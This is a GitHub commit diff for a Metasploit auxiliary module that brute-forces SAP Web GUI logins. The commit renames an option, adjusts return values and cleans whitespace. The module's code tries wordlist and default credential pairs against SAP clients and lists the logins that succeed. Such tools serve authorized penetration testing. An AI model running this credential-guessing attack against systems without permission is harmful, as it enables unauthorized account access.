Skip to content

Commit e55e5d2

Browse files
committed
made requested changes
1 parent 92679cd commit e55e5d2

File tree

1 file changed

+27
-33
lines changed

1 file changed

+27
-33
lines changed

modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb

Lines changed: 27 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,13 @@
66
##
77

88
##
9-
# This module is based on, inspired by, or is a port of a plugin available in
10-
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
1111
# http://www.onapsis.com/research-free-solutions.php.
12-
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
1313
# in producing the Metasploit modules and was happy to share his knowledge and
14-
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15-
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
1616
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
1717
##
1818

@@ -24,29 +24,28 @@ class Metasploit4 < Msf::Auxiliary
2424
include Msf::Auxiliary::Report
2525
include Msf::Auxiliary::Scanner
2626
include Msf::Auxiliary::AuthBrute
27-
27+
2828
def initialize
2929
super(
3030
'Name' => 'SAP Web GUI Brute Force',
31-
'Version' => '$Revision$',
3231
'Description' => %q{
3332
SAP Web GUI Brute Force.
3433
},
35-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
3635
'Author' => [ 'nmonkee' ],
3736
'License' => BSD_LICENSE
3837
)
3938
register_options([
40-
OptString.new('URI',[true, 'URI', "/"]),
41-
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
42-
OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
43-
OptString.new('USERPASS_FILE',[false, '',nil]),
39+
OptString.new('TARGETURI', [true, 'URI', '/']),
40+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
41+
OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
42+
OptString.new('USERPASS_FILE',[false, '',nil])
4443
], self.class)
4544
register_autofilter_ports([80])
4645
end
47-
46+
4847
def run_host(ip)
49-
uri = datastore['URI']
48+
uri = datastore['TARGETURI']
5049
if datastore['CLIENT'].nil?
5150
print_status("Using default SAP client list")
5251
client = ['000','001','066']
@@ -62,20 +61,17 @@ def run_host(ip)
6261
elsif datastore['CLIENT'] =~ /^\d{3}\z/
6362
client.push(datastore['CLIENT'])
6463
print_status("Brute forcing client #{datastore['CLIENT']}")
65-
else
64+
else
6665
print_status("Invalid CLIENT - using default SAP client list instead")
6766
client = ['000','001','066']
6867
end
6968
end
7069
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
71-
'Header' => "[SAP] Credentials",
72-
'Prefix' => "\n",
73-
'Postfix' => "\n",
74-
'Indent' => 1,
75-
'Columns' => ["host","port","client","user","pass"])
76-
if datastore['DEFAULT_CRED']
77-
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
78-
end
70+
'Header' => "[SAP] Credentials",
71+
'Prefix' => "\n",
72+
'Postfix' => "\n",
73+
'Indent' => 1,
74+
'Columns' => ["host","port","client","user","pass"])
7975
if datastore['USERPASS_FILE']
8076
credentials = extract_word_pair(datastore['USERPASS_FILE'])
8177
credentials.each do |u,p|
@@ -87,15 +83,15 @@ def run_host(ip)
8783
end
8884
end
8985
else
90-
#todo
86+
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
9187
end
9288
print(saptbl.to_s)
9389
end
94-
90+
9591
def bruteforce(uri,user,pass,cli)
9692
begin
9793
path = "sap/bc/gui/sap/its/webgui/"
98-
cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
94+
cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
9995
res = send_request_cgi({
10096
'uri' => "#{uri}#{path}",
10197
'method' => 'POST',
@@ -110,19 +106,17 @@ def bruteforce(uri,user,pass,cli)
110106
'sap-client' => cli,
111107
'sap-user' => user,
112108
'sap-password' => pass,
113-
'sap-language' => 'EN',
109+
'sap-language' => 'EN'
114110
}
115111
})
116112
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
117113
print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
118-
return
114+
return false
119115
end
120-
116+
121117
if res and res.code == 302
122118
return true
123-
end
124-
125-
if res and res.code == 200
119+
elsif res and res.code == 200
126120
if res.body =~ /log on again/
127121
return false
128122
elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
@@ -133,7 +127,7 @@ def bruteforce(uri,user,pass,cli)
133127
end
134128
else
135129
print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
130+
return false
136131
end
137-
return
138132
end
139133
end

0 commit comments

Comments
 (0)